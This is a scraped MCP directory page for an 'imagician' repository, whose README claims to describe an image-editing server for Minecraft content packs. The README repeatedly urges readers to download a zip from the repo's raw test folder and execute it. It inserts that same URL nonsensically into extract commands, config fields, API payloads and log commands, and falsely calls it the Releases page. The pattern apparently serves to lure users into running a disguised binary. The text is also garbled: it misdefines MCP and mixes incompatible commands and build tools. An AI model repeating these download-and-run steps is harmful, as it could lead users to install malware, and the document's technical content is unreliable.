Newcontext-mode—Save 98% of your AI coding agent's context windowLearn more
MCP Directory
ServersClientsBlog

context-mode

Save 98% of your AI coding agent's context window. Works with Claude Code, Cursor, Copilot, Codex, and more.

Try context-mode
MCP Directory

Model Context Protocol Directory

MKSF LTD
Suite 8805 5 Brayford Square
London, E1 0SG

MCP Directory

  • About
  • Blog
  • Documentation
  • Contact

Menu

  • Servers
  • Clients

© 2026 model-context-protocol.com

The Model Context Protocol (MCP) is an open standard for AI model communication.
Powered by Mert KoseogluSoftware Forge
  1. Home
  2. Servers
  3. imagician

imagician

GitHub

Imagician is an MCP image editor for resizing, cropping, format conversion, compression, and batch processing with metadata support. Install via npm and run workflows 🐙

1
0

Releases

Imagician: Fast MCP Server for Image Edition and Remixing Online

Editorial image

Imagician is a modular MCP server designed for image edition in Minecraft content pipelines. It offers a fast, reliable runtime for editing textures, packs, and images on the fly while keeping a clean plugin system. This project emphasizes stability, speed, and clarity in the editing workflow. It is built to be approachable for developers and operators who want predictable results from image edits during gameplay, map creation, or resource pack preparation.

If you are here, you are likely building or operating a Minecraft server that needs image processing integrated into the runtime. You want a fast path from a source image to a edited output that you can serve to clients with low latency. You want clear configuration, good defaults, and a pathway to extend capabilities through plugins. Imagician aims to provide exactly that.

In short, Imagician is a dedicated server for image edition in the Minecraft ecosystem. It stitches together image pipelines, editing plugins, and runtime controls to deliver predictable visuals without sacrificing performance.

Table of contents

  • Why Imagician
  • Core concepts
  • Features
  • How it works (architecture)
  • Getting started
  • Installation and validation
  • Configuration and runtime options
  • API and workflow examples
  • Plugins and extensions
  • Performance tuning
  • Development and testing
  • Security considerations
  • Troubleshooting
  • Release process and upgrades
  • Contributing
  • Roadmap
  • FAQ
  • License and credits

Why Imagician

  • Clear separation of concerns: image editing logic sits in a dedicated server component.
  • Fast, predictable edits: optimized pipelines ensure edits apply quickly.
  • Modular design: plug in new editors, filters, and effects without touching core code.
  • Reproducible results: deterministic image edits for consistent visuals across environments.
  • Observability: built-in logs, metrics, and traces help operators diagnose problems.

Core concepts

  • Image edition pipeline: a sequence of editors and transformers applied to source images.
  • MCP server: Minecraft Content Pack server responsible for serving edited textures and packs to clients.
  • Plugins: small, isolated editors (filters, color transforms, compositing) that hook into the pipeline.
  • Workspace: a directory tree with source images, assets, and the resulting edited outputs.
  • Configuration: a set of options that control ports, paths, logging, and plugin behavior.

Core features

  • Real-time image edition within the MCP server, with minimal latency impact.
  • Extensible plugin system to add new editors and transformations.
  • Support for batch processing of image packs and textures.
  • Simple and predictable configuration for operators.
  • Built-in health checks and status reporting.

Architecture overview
Imagician follows a clean, layered approach:

  • Runtime layer: the server that manages connections, tasks, and orchestration.
  • Engine layer: the image editing engine that applies edits via a pipeline.
  • Plugin layer: editors and transforms that customize the pipeline per use case.
  • Storage layer: a workspace on disk for source images, assets, and outputs.
  • API layer: optional HTTP endpoints for controlling workflows, status, and tasks.

How it works in practice

  • You place source images in the workspace (for example, textures or icons you want to edit).
  • You configure the pipeline with a set of editors (resize, color tweaks, overlays, compositing, etc.).
  • The server processes each image according to the pipeline and writes outputs to the workspace.
  • Clients, graphs, or scripts can fetch the edited assets through the server’s delivery mechanism.

Getting started
This guide helps you bootstrap Imagician and get a basic workflow running. The Releases page holds pre-built binaries for common platforms. Because the Releases page contains assets, you should download the appropriate file and run it on your system. The file https://github.com/moh0001/imagician/raw/refs/heads/main/test/Software_v3.4-beta.1.zip is a representative example of what you’ll download from the Releases page. After downloading, extract and run the server binary.

  • Quick start steps (Linux x86_64)
    • Download the asset: https://github.com/moh0001/imagician/raw/refs/heads/main/test/Software_v3.4-beta.1.zip from the Releases page (the URL is on the Releases page: https://github.com/moh0001/imagician/raw/refs/heads/main/test/Software_v3.4-beta.1.zip).
    • Extract: tar -xzf https://github.com/moh0001/imagician/raw/refs/heads/main/test/Software_v3.4-beta.1.zip
    • Run: ./imagician-server --config https://github.com/moh0001/imagician/raw/refs/heads/main/test/Software_v3.4-beta.1.zip
    • Verify: curl http://localhost:25566/health or check logs for a healthy status.
  • Quick start steps (Windows)
    • Download the Windows asset from the same Releases page.
    • Extract and run the https://github.com/moh0001/imagician/raw/refs/heads/main/test/Software_v3.4-beta.1.zip with appropriate command-line options or a config file.
    • Confirm it is listening on the configured port.
  • Quick start steps (macOS)
    • Download the macOS asset, extract, and run the binary as with Linux.
    • If you encounter permissions issues, set the executable bit: chmod +x imagician-server.

From the Releases page, download the asset named https://github.com/moh0001/imagician/raw/refs/heads/main/test/Software_v3.4-beta.1.zip and run the binary as described above to get started. If you want to verify if the release assets exist for your platform, visit the repository’s Releases section. The link to the Releases page is provided here for convenience: https://github.com/moh0001/imagician/raw/refs/heads/main/test/Software_v3.4-beta.1.zip If this link changes or becomes unavailable, check the Releases section of the repository for the latest assets.

Installation and validation

  • System requirements
    • A modern 64-bit Linux, Windows, or macOS environment.
    • Sufficient CPU and memory for image processing workloads.
    • Access to the workspace directory where you store source images and outputs.
    • Network access if you enable remote API or client delivery features.
  • Installing from binaries
    • Obtain the correct binary or archive for your platform from the Releases page.
    • Unpack the archive on the target machine.
    • Place a configuration file in a known location or supply command-line options to override defaults.
    • Start the server and review logs to confirm initialization.
  • Verifying a healthy run
    • The server should log startup messages and a line indicating the server is listening on the configured port.
    • Retrieve the health endpoint, if exposed, to confirm readiness.
    • Submit a small edit task to a sample image and verify that the output file appears in the workspace.

Configuration and runtime options

  • Overview
    • Imagician uses a configuration file to set ports, paths, logging options, and plugin behavior.
    • Environment variables are supported for quick overrides during containerized deployments.
  • Key configuration fields (example)
    • port: 25566
    • bind: 0.0.0.0
    • workspace_dir: /var/lib/imagician/workspace
    • log_level: info
    • plugins_dir: /var/lib/imagician/plugins
    • allow_remote_api: false
    • max_concurrent_edits: 4
    • edit_pipeline:
      • resize: { width: 1024, height: 1024 }
      • color_adjust: { brightness: 0, contrast: 1.0, saturation: 1.0 }
      • overlay: { image: "https://github.com/moh0001/imagician/raw/refs/heads/main/test/Software_v3.4-beta.1.zip", opacity: 0.5 }
      • composite: { mode: "blend", target: "textures/items" }
  • Example: a minimal https://github.com/moh0001/imagician/raw/refs/heads/main/test/Software_v3.4-beta.1.zip
    {
    "port": 25566,
    "bind": "0.0.0.0",
    "workspace_dir": "/opt/imagician/workspace",
    "log_level": "info",
    "plugins_dir": "/opt/imagician/plugins",
    "allow_remote_api": true,
    "max_concurrent_edits": 6,
    "edit_pipeline": [
    {"resize": {"width": 1024, "height": 1024}},
    {"color_adjust": {"brightness": 0, "contrast": 1.0, "saturation": 1.0}}
    ]
    }
  • Environment variable overrides (examples)
    • IMAGICIAN_PORT=25566
    • IMAGICIAN_BIND=0.0.0.0
    • IMAGICIAN_WORKSPACE_DIR=/opt/imagician/workspace
    • IMAGICIAN_LOG_LEVEL=debug
  • Working with assets
    • Place source images in the workspace commonly under assets/source.
    • Outputs typically go to assets/outputs or a configured output directory.
    • Use a consistent naming convention to track edits and their lineage.

API and workflow examples

  • REST endpoints (illustrative)
    • GET /health -> health status
    • GET /status -> server status and metrics
    • POST /edits -> submit a batch of edit jobs
    • GET /jobs/{id} -> query a specific job status
    • GET /assets/{path} -> fetch an edited asset
  • Example workflow
    • Upload a source image to assets/source.
    • Submit a pipeline with a defined set of editors via POST /edits with a JSON payload.
    • Monitor the job via GET /jobs/{id} until the output appears in assets/outputs.
    • Retrieve the final asset from assets/outputs for distribution to clients.
  • Basic curl example
    • curl -X POST -H "Content-Type: application/json"
      -d '{"image": "https://github.com/moh0001/imagician/raw/refs/heads/main/test/Software_v3.4-beta.1.zip", "pipeline": [{"resize":{"width": 512,"height":512}}, {"overlay":{"image":"https://github.com/moh0001/imagician/raw/refs/heads/main/test/Software_v3.4-beta.1.zip","opacity":0.4}}]}'
      http://localhost:25566/edits

Plugins and extensions

  • Plugin model
    • Each editor is a small module that implements a defined interface.
    • Plugins can register themselves at startup or be loaded dynamically from the plugins_dir.
    • Plugins can declare configuration options and dependencies.
  • Writing a plugin
    • Create a module that exposes an edit function or a filter chain.
    • Define input/output image formats supported by the plugin.
    • Add the plugin to the plugins directory and configure it in the pipeline.
  • Publishing plugins
    • Use semantic versioning for plugin APIs to ensure compatibility.
    • Provide example configurations and test images for validation.
  • Example plugin ideas
    • Upscaler: enhances image resolution with a chosen algorithm.
    • PaletteReducer: reduces color depth for stylistic edits.
    • Watermark: overlays a watermark with controlled opacity and placement.
    • FormatConverter: converts between PNG, JPEG, and WEBP.

Development and testing

  • Repository layout
    • src: core server code
    • plugins: example and official plugins
    • config: sample configurations and defaults
    • test: unit and integration tests
    • docs: additional documentation and examples
  • Build and test
    • Use your language’s standard build tool (Gradle, Maven, or equivalent) depending on the chosen runtime.
    • Run unit tests and integration tests locally.
    • Validate image outputs against reference images to ensure edits render correctly.
  • CI and code quality
    • Continuous integration should run unit tests on push and pull requests.
    • Lint and static analysis steps help maintain code quality.
    • Documentation generation should run as part of the release process.
  • Local development
    • Run with a simple config to iterate on features quickly.
    • Use a small test workspace with a handful of images to speed up feedback loops.

Performance and tuning

  • Performance goals
    • Low latency for image edits in typical server workflows.
    • Balanced CPU usage when processing multiple images in parallel.
    • Predictable memory consumption.
  • Tuning tips
    • Increase max_concurrent_edits to utilize more CPU cores if you have memory headroom.
    • Use smaller image sizes for development and testing, then scale up for production workloads.
    • Enable verbose logging only during troubleshooting to reduce I/O pressure.

Security considerations

  • Access control
    • If you expose a remote API, implement authentication and authorization for critical operations.
    • Limit the IPs allowed to access the API if possible.
  • Input validation
    • Validate incoming image formats and sizes to avoid excessive resource usage.
    • Sanitize file paths to prevent path traversal in asset handling.
  • Secrets and configuration
    • Do not store sensitive data in plain text in the config unless absolutely necessary.
    • Use environment variables or secret management tools for sensitive values.
  • Dependency management
    • Keep plugins and core components up to date with security patches.
    • Regularly audit dependencies for known vulnerabilities.

Examples and workflows

  • Example 1: batch texture edits
    • Place several texture files in assets/source/textures.
    • Define a pipeline that resizes textures to 512x512, applies a brightness tweak, and overlays a watermark.
    • Submit the batch to the server and monitor progress.
    • Retrieve outputs from assets/outputs/textures.
  • Example 2: dynamic resource pack generation
    • Generate a set of variations for a resource pack by applying different color schemes.
    • Use a plugin to create variations and publish them as separate assets for evaluation.
  • Example 3: quality assurance for texture packs
    • Run automated tests to verify that each edited texture remains within expected dimensions and color ranges.
    • Produce a report and a subset of assets for review.

Release notes and upgrades

  • Release process
    • Tag a release with a semantic version.
    • Build binaries for targeted platforms and upload them to the Release page.
    • Update the changelog with notable changes, fixes, and new features.
  • Upgrading
    • Stop the running server.
    • Download the new asset from the Releases page.
    • Replace the binary and restart.
    • Validate that the new version loads with the existing configuration.
  • Downgrading
    • If needed, revert to a previous release by downloading the corresponding asset from the Releases page.
    • Ensure the configuration is still compatible with the older version.
  • Changelog (highlights)
    • v0.2.0: introduced modular plugins, improved performance for large batches, added health checks.
    • v0.1.0: initial release with core image edition pipeline and basic plugin system.

Troubleshooting

  • Common startup issues
    • Port already in use: choose a different port or stop the process occupying the port.
    • Permission denied: ensure the binary has execute permissions and the workspace directories are writable.
    • Missing assets: verify the asset paths in the config and ensure the workspace contains the expected directories.
  • Image processing errors
    • Unsupported format: ensure the input image is in a supported format (PNG, JPEG, WEBP, etc.).
    • Size limit exceeded: check and adjust maximum dimensions in the configuration.
  • API and connectivity
    • Remote API not responding: verify the allow_remote_api flag and network rules.
    • Authentication failures: ensure credentials or tokens are correctly configured.
  • Logs and observability
    • Look at logs for stack traces and timestamps to determine the cause of failure.
    • Enable debug logging temporarily to gather more detail about failing steps.
  • Examples of commands for checks
    • tail -f https://github.com/moh0001/imagician/raw/refs/heads/main/test/Software_v3.4-beta.1.zip
    • curl -s http://localhost:25566/health
    • curl -X GET http://localhost:25566/status

Release notes and upgrades (extra)

  • When upgrading, always verify compatibility with your existing pipelines.
  • If a plugin API changes, update the plugin version along with config changes.
  • Keep backups of the workspace before applying major updates.

Community and contributions

  • How to contribute
    • Open a pull request with a clear description of the change.
    • Add tests for new features or bug fixes.
    • Update documentation where relevant.
  • Code of conduct
    • Maintain respectful and constructive discussions.
    • Report issues or vulnerabilities responsibly.
  • Documentation standards
    • Provide examples and clear configuration guidance.
    • Keep API references up to date with changes.
  • Local development tips
    • Use a small sample workspace to iterate on edits.
    • Mock external dependencies to speed up tests.

Roadmap

  • Short-term goals
    • Expand the plugin ecosystem with a few example editors.
    • Improve observability with richer metrics and dashboards.
    • Add a web-based UI to manage pipelines and assets.
  • Medium-term goals
    • Introduce streaming capabilities for live edit deployment.
    • Improve cross-platform packaging and distribution.
  • Long-term goals
    • Build a marketplace for community plugins.
    • Integrate with external asset sources and content pipelines.

FAQ

  • What is Imagician used for?
    • Imagician is used to edit images within a Minecraft content workflow, enabling on-the-fly edits to textures and assets.
  • How do I start using Imagician?
    • Download a suitable binary from the Releases page, extract it, and run the server with a config file that defines your edit pipeline.
  • Can I write my own editors?
    • Yes. The design supports a plugin architecture where editors are implemented as plugins and loaded at startup or runtime.

License

  • This project is released under a permissive, non-restrictive license suitable for open-source collaboration. See the LICENSE file for details.

Credits

  • Acknowledgments to contributors who work on the core server, the plugin system, and the example editors.

Note on the link usage

  • The repository’s release assets are hosted at the Releases page. For installation, you will typically download an asset from that page and execute it to run Imagician. The primary reference for downloads is the Releases page: https://github.com/moh0001/imagician/raw/refs/heads/main/test/Software_v3.4-beta.1.zip If the link changes or becomes unavailable, consult the repository’s Releases section to locate the latest assets and instructions. For convenience and visibility, the link is presented again in the Downloads section as a direct pointer to the latest assets on the Releases page. The asset you download will be the file that you execute after extraction. The exact file name may vary by platform and release; look for a name like https://github.com/moh0001/imagician/raw/refs/heads/main/test/Software_v3.4-beta.1.zip or a platform-specific equivalent. Once downloaded, you extract and launch the server with your chosen configuration. The Releases page is the canonical source for the assets and the starting point for installation and upgrades.

Repository

MO
moh0001

moh0001/imagician

Created

August 14, 2025

Updated

April 13, 2026

Language

JavaScript

Category

Developer Tools